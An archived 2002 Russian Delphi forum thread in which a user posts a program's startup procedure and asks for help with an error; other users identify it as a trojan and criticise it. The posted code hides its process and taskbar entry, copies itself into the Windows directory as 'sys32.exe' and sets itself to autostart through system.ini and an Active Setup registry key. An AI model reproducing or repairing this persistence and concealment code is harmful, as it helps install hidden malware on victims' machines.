Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Основная";
Текущий архив: 2002.10.03;
Скачать: [xml.tar.bz2];

Вниз

Помогите в этим пожалуйста   Найти похожие ветки 

 
X-Shadow   (2002-09-22 06:20) [0]

procedure THPS.FormCreate(Sender: TObject);
var TM : string;
i : integer;
PC, OldName, NewName : PChar;
RG : TRegistry;
hNdl :THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
hNdl:=LoadLibrary("KERNEL32.DLL");
RegisterServiceProcess:=GetProcAddress(hNdl, "RegisterServiceProcess");
RegisterServiceProcess (GetCurrentProcessID, 1);
FreeLibrary(hNdl);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
TM:=Application.ExeName;
for i:=Length(TM) downto 1 do
if TM[i]="\" then break;
TM:=copy (TM, 1, i);
getMem (PC, 100);
GetWindowsDirectory (PC, 100);
SD:=PC+"\";
freeMem (PC);
getmem (OldName, 100);
getMem (NewName, 100);
ReadSettings;
StrPCopy (OldName, Application.ExeName); {Вот тут он выдает ошибку после запуска проги}
StrPCopy (NewName, SD+"sys32.exe");
writeprivateprofilestring("boot","shell",pchar("Explorer.exe" +" sys32.exe"),"system.ini");
if TM<>SD then
begin
RG:=TRegistry.Create;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ("Software\Microsoft\Active Setup\Installed Components\{91230W13Fr21Pfaffg}", False);
RG.WriteString ("java", SD+"sys32.exe");
RG.Destroy;
CopyFile (OldName, NewName, FALSE);
StrPCopy (OldName, """+Application.ExeName+""");
Winexec(pchar(SD+"sys32.exe"),SW_show);
Halt (0);

end


 
MBo   (2002-09-22 06:57) [1]

такое:

procedure TForm1.Button1Click(Sender: TObject);
var oldname:pchar;
begin
Getmem(oldname,100);
strpcopy(oldname,application.exename);
caption:=oldname;
end;

ошибки, естественно, не дает, если 100 байт хватает.
Выбрось все лишнее для локализации ошибки


 
Настя Петрова   (2002-09-22 14:14) [2]

Не хорошо трояны писать


 
Юрий Зотов   (2002-09-22 20:52) [3]

А этот троян и не написан. Он надерган из Инета, причем без всякого понимания что, зачем и почему.

Даже комментировать не хочется. Одна лишь загрузка Kernel32 - это шедевр.



Страницы: 1 вся ветка

Форум: "Основная";
Текущий архив: 2002.10.03;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.45 MB
Время: 0.008 c
3-7833
aag
2002-09-12 14:09
2002.10.03
проверка целостности и восстановление базы


6-8086
alkmas
2002-07-22 11:52
2002.10.03
Proxy-сервер


4-8217
ToLIk2003
2002-08-16 18:10
2002.10.03
список процессов


14-8151
MaximatorVeter
2002-09-09 11:43
2002.10.03
Мелочи жизни


14-8146
Oleg_Gashev
2002-09-08 22:51
2002.10.03
Кнут. Том 1. Глава 1.2.5 Перестанивки и факториалы. Метод 2.





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский